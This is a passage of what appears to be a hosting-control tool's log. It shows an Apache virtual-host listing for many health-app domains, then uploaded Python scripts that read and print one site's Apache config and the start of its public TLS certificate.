         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-18 06:01:15: 

PUT: /tmp/pkp920398

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_condor_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-18 06:01:15: 

chmod 755 /tmp/pkp920398; /tmp/pkp920398; rm /tmp/pkp920398

2026-01-18 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf	1822

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-18 06:01:16: 

PUT: /tmp/pkp692297

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-18 06:01:16: 

chmod 755 /tmp/pkp692297; /tmp/pkp692297; rm /tmp/pkp692297

2026-01-18 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt	5352
74:d2:1f:31:e2:b1:5a:eb:d3:71:6d:46:7a:f4:20:d6

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBVRmQTZgP2IITjOW6uZlPMXKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE4MDUwMjQzWhcNMjYwNDE4MDUwMjQyWjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA3Zyeu32t9/DTtiGwcM6YU2Vg5NiB8ad1H3HaYXMubCxCX4cv/D6c958sJjV5
fgzJlTFCzYEcsppDO7z4iX4Hs+CZ4GEgURM8n74gBHZtJRw9qBWTewUZRVdEa2lw
r4RCSGPwuG72I6iWJgOL6NzGroLon+5/oJ3ub1mMmxgzrW5dcN6KJnHCzcfyLUzB
V2aKJ67X/JiPHxcX7eYbzmwa5xEqZCNjXASTbVZRwyfLyhbJdqyCFvbWcQt1p82J
Z/QdvSejfMGMXUXDxQygBpx7ozxA7/b/z7HDC8y6giJyO6TikEIGwGgd0QO+dSOK
hesSE4IqN69GCwg3drdu2gsK+QIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQDAgWg
